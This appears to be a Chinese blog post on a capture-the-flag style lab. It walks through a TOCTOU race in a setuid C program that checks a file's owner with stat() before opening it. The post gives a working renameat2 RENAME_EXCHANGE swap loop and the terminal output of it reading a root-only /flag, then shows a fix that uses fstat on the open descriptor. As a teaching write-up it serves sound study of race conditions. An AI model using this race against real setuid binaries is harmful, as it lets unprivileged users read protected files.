• 漏洞复现 -- 条件竞争 -- TOCTOU


    今天有点无聊在 YouTube 上瞎看

    看到了 liveoverflow 的一个视频,提到 TOCTOU ,所以打算复现一下

    via: https://www.youtube.com/watch?v=5g137gsB9Wk

    demo 代码:

    via: https://gist.github.com/LiveOverflow/590edaf5cf3adeea31c73e303692dec0

    #include <string.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>
    
    int main(int argc, char* argv[]) {
        int fd;
        int size = 0;
        char buf[256];
    
        if(argc != 2) {
            printf("usage: %s <file>
    ", argv[0]);
            exit(1);
        }
    
        struct stat stat_data;
        if (stat(argv[1], &stat_data) < 0) {
            fprintf(stderr, "Failed to stat %s: %s
    ", argv[1], strerror(errno));
            exit(1);
        }
    
        if(stat_data.st_uid == 0)
        {
            fprintf(stderr, "File %s is owned by root
    ", argv[1]);
            exit(1);
        }
    
        fd = open(argv[1], O_RDONLY);
        
        if(fd <= 0)
        {
            fprintf(stderr, "Couldn't open %s
    ", argv[1]);
            exit(1);
        }
    
        do {
            size = read(fd, buf, 256);
            write(1, buf, size);
        } while(size>0);
    
    }
    

    题目:

    flag 位于 根目录:/flag

    所有者:root

    权限:0600 (只有所有者能读写)

    # r00t @ FakeArch in / [0:41:05] 
    $ ls -l /flag    
    -rw------- 1 root root 17  6月 25 23:19 /flag
    

    给出的一个由上面源代码编译出来的 可执行文件,可执行文件的设置了 s 权限

    # r00t @ FakeArch in ~ [0:42:44] 
    $ ls -l /tmp/readflag
    -rwsr-sr-x 1 root root 17096  6月 26 00:41 /tmp/readflag
    

    现在要用这个 可执行文件 去读取 flag

    代码看起来是没有什么问题的,理论上我们不能读取 /flag 文件 的内容,因为

        if(stat_data.st_uid == 0)
        {
            fprintf(stderr, "File %s is owned by root
    ", argv[1]);
            exit(1);
        }
    

    这个检查,检查了文件的 st_uid ,flag 文件的所有者是 root,所以 readflag 即使带了 s 权限,还是读取不了 flag 的内容

    可以看 man 2 stat 中 对 stat 结构的描述,这个检查的意思是检查文件所有者的 uid 是不是 0 (也就是是不是 root,这个毋庸置疑,flag 文件的所有者肯定是 root

    struct stat {
        dev_t     st_dev;         /* ID of device containing file */
        ino_t     st_ino;         /* Inode number */
        mode_t    st_mode;        /* File type and mode */
        nlink_t   st_nlink;       /* Number of hard links */
        uid_t     st_uid;         /* User ID of owner */
        gid_t     st_gid;         /* Group ID of owner */
        dev_t     st_rdev;        /* Device ID (if special file) */
        off_t     st_size;        /* Total size, in bytes */
        blksize_t st_blksize;     /* Block size for filesystem I/O */
        blkcnt_t  st_blocks;      /* Number of 512B blocks allocated */
    
        /* Since Linux 2.6, the kernel supports nanosecond
           precision for the following timestamp fields.
           For the details before Linux 2.6, see NOTES. */
    
        struct timespec st_atim;  /* Time of last access */
        struct timespec st_mtim;  /* Time of last modification */
        struct timespec st_ctim;  /* Time of last status change */
    
    #define st_atime st_atim.tv_sec      /* Backward compatibility */
    #define st_mtime st_mtim.tv_sec
    #define st_ctime st_ctim.tv_sec
    };
    

    怎么才能绕过这个检查

    可以试试给 flag 文件创建一个链接

    # r00t @ FakeArch in ~ [23:29:56] 
    $ ls -l /flag
    -rw------- 1 root root 17  6月 25 23:19 /flag
    
    # r00t @ FakeArch in ~ [23:30:06] 
    $ ln -s /flag /tmp/flag
    
    # r00t @ FakeArch in ~ [23:30:15] 
    $ ls -l /tmp/flag     
    lrwxrwxrwx 1 r00t r00t 5  6月 25 23:30 /tmp/flag -> /flag
    

    看到这个链接的所有者是 r00t (我系统上的一个普通用户),试试看通过 软链接 去读取文件

    # r00t @ FakeArch in /tmp [0:06:22] C:1
    $ ./readflag /tmp/flag
    Failed to stat /tmp/flag: Permission denied
    

    不行。。。。

    再次审计代码

        struct stat stat_data;
        if (stat(argv[1], &stat_data) < 0) {
            fprintf(stderr, "Failed to stat %s: %s
    ", argv[1], strerror(errno));
            exit(1);
        }
    
        if(stat_data.st_uid == 0)
        {
            fprintf(stderr, "File %s is owned by root
    ", argv[1]);
            exit(1);
        }
    
        fd = open(argv[1], O_RDONLY);
    

    这个写法存在一个 条件竞争(Race condition) 的漏洞

    这里用的是 stat 函数,通过文件名去获取文件的 stat 结构,然后再判断文件的所有者,如果所有者不是 root 的话就打开它,这里从获取文件 stat 到读取并不是一步就能完成的,这两个操作有一定的时间差。

    假设现在传入的是 /tmp/A 文件(st_uid=1000),它的所有者是 hacker(uid=1000),在执行完 stat(argv[1], &stat_data) 之后的那一个瞬间,我用另一个程序把 /tmp/flag/flag 的软链接 st_uid=1000) 重命名为 /tmp/A 这样的话,在 if 的检测中检查的是原本的那个 A 文件的 st_uid,而走到 open 的时候 argv[1] 虽然也是 /tmp/A 但是打开的却是原本的 /tmp/flag 文件,而这个文件是 /flag 的软链接,这样我们就能读出 /flag 的内容

    这个需要很快去操作,把上面的 /tmp/flag (因为我们是普通用户不能直接操作 flag 文件,所以我们需要一个指向它的链接) 换成 /tmp/A

    这里的 exphttps://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c

    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
    

    renameat2 系统调用

    很重要的参数:RENAME_EXCHANGE

    是交换文件名,原子性操作

    man 手册里的描述

       RENAME_EXCHANGE
              Atomically  exchange  oldpath  and newpath.  Both pathnames must
              exist but may be of different types (e.g., one could be  a  non-
              empty directory and the other a symbolic link).
    

    现在在 /tmp 目录下有三个文件

    A:空文件

    flag:根目录下面的 flag 文件的软连接

    readflag:上面源码编译出来的 可执行文件(所有者:root,有 s 权限)

    # r00t @ FakeArch in /tmp [13:34:57] 
    $ ls -li A flag readflag
    43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 A
    54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 flag -> /flag
    45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag
    

    exp:

    #define _GNU_SOURCE
    #include <stdio.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <unistd.h>
    #include <sys/syscall.h>
    #include <linux/fs.h>
    
    // source https://github.com/sroettger/35c3ctf_chals/blob/master/logrotate/exploit/rename.c
    int main(int argc, char *argv[]) {
      while (1) {
        syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_EXCHANGE);
      }
      return 0;
    }
    

    编译 exp

    gcc exp.c -o exp
    

    开始:

    # r00t @ FakeArch in ~ [13:38:30] 
    $ ./exp /tmp/flag /tmp/A
    
    

    可以看到,/tmp/A 和 /tmp/flag 的 inode 一直在变

    # r00t @ FakeArch in /tmp [13:44:07] C:2
    $ ls -li A flag readflag
    ls: 无法读取符号链接'A': 无效的参数
    54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
    43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
    45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag
    
    # r00t @ FakeArch in /tmp [13:44:08] C:2
    $ ls -li A flag readflag
    54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A -> /flag
    43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
    45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag
    
    # r00t @ FakeArch in /tmp [13:44:08] 
    $ ls -li A flag readflag
    ls: 无法读取符号链接'A': 无效的参数
    54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
    43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
    45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag
    
    # r00t @ FakeArch in /tmp [13:44:09] C:2
    $ ls -li A flag readflag
    ls: 无法读取符号链接'A': 无效的参数
    54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
    43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
    45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag
    
    # r00t @ FakeArch in /tmp [13:44:09] C:2
    $ ls -li A flag readflag
    ls: 无法读取符号链接'A': 无效的参数
    ls: 无法读取符号链接'flag': 无效的参数
    54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
    54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 flag
    45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag
    
    # r00t @ FakeArch in /tmp [13:44:10] C:2
    $ ls -li A flag readflag
    43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 A
    43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
    45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag
    
    # r00t @ FakeArch in /tmp [13:44:10] 
    $ ls -li A flag readflag
    ls: 无法读取符号链接'A': 无效的参数
    54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 A
    43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 flag
    45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag
    
    # r00t @ FakeArch in /tmp [13:44:11] C:2
    $ ls -li A flag readflag
    ls: 无法读取符号链接'flag': 无效的参数
    43007 -rw-r--r-- 1 r00t r00t     0  6月 26 13:33 A
    54370 lrwxrwxrwx 1 r00t r00t     5  6月 26 13:33 flag
    45584 -rwsr-sr-x 1 root root 17096  6月 26 13:32 readflag
    

    现在试试看读取 flag

    # r00t @ FakeArch in /tmp [13:45:34] 
    $ ./readflag /tmp/flag
    File /tmp/flag is owned by root
    
    # r00t @ FakeArch in /tmp [13:45:35] C:1
    $ ./readflag /tmp/flag
    File /tmp/flag is owned by root
    
    # r00t @ FakeArch in /tmp [13:45:36] C:1
    $ ./readflag /tmp/flag
    
    # r00t @ FakeArch in /tmp [13:45:36] 
    $ ./readflag /tmp/flag
    File /tmp/flag is owned by root
    
    # r00t @ FakeArch in /tmp [13:45:37] C:1
    $ ./readflag /tmp/flag
    File /tmp/flag is owned by root
    
    # r00t @ FakeArch in /tmp [13:45:37] C:1
    $ ./readflag /tmp/flag
    flag{y0u_get_1t}
    

    我在第六次的时候成功读取 flag 的内容

    fix:

    #include <string.h>
    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <errno.h>
    
    int main(int argc, char* argv[]) {
        int fd;
        int size = 0;
        char buf[256];
    
        if(argc != 2) {
            printf("usage: %s <file>
    ", argv[0]);
            exit(1);
        }
    
        fd = open(argv[1], O_RDONLY);
    
        if(fd <= 0)
        {
            fprintf(stderr, "Couldn't open %s
    ", argv[1]);
            exit(1);
        }
    
        struct stat stat_data;
        if (fstat(fd, &stat_data) < 0) {
            fprintf(stderr, "Failed to stat %s: %s
    ", argv[1], strerror(errno));
            exit(1);
        }
    
        if(stat_data.st_uid == 0)
        {
            fprintf(stderr, "File %s is owned by root
    ", argv[1]);
            exit(1);
        }
    
        
        do {
            size = read(fd, buf, 256);
            write(1, buf, size);
        } while(size>0);
    
    }
    

    修复后的代码其实就是先打开文件,然后通过文件描述符去获取文件的 信息

    这样就不存在文件名变更的问题了

    举个例子吧

    # r00t @ FakeArch in /tmp/demo [14:14:03] 
    $ ls -i
    173774 test
    
    # r00t @ FakeArch in /tmp/demo [14:14:05] 
    $ mv test test1 
    
    # r00t @ FakeArch in /tmp/demo [14:14:21] 
    $ ls -i
    173774 test1
    

    看到了吗,修改文件名其实影响不了文件的 inode ,在内核里面判断一个文件并不是依靠文件名

    可以看看 openread 在 内核里面的实现

    所以,先是用 open 打开文件,再通过文件文件描述符去获取文件 stat 结构,修改文件名是无效的,更直观一点的演示

    #include <stdio.h>
    #include <stdlib.h>
    #include <fcntl.h>
    
    int main()
    {
      int f = open("/tmp/demo/test", O_RDONLY);
      system("ls -l /proc/self/fd");
      getchar();
      system("ls -l /proc/self/fd");
      return 0;
    }
    

    demo 运行到 getchar() 的时候我修改了 test 文件的文件名,修改后再查看 /proc/self/fd 的时候原本文件描述符 3 是指向 test 文件的,修改文件名后变成了指向修改后的文件名

    直接看 liveoverflow 的视频演示:https://www.youtube.com/watch?v=1hScemFvnzw

    溜~

  • 相关阅读:
    NOI AC#62 color(树上操作)
    fenbi
    bert 压缩优化方向的论文
    bert 编程入门| bert 瘦身技巧
    行政法+刑法+民法
    Bert原理 | Bert油管视频学习法
    vscode的使用以及快捷键总结
    NG课程笔记学习记录
    古典文学+古曲+四大文明古国
    中国地理+地球上的水和大气
  • 原文地址:https://www.cnblogs.com/crybaby/p/13195054.html
Copyright © 2020-2023  润新知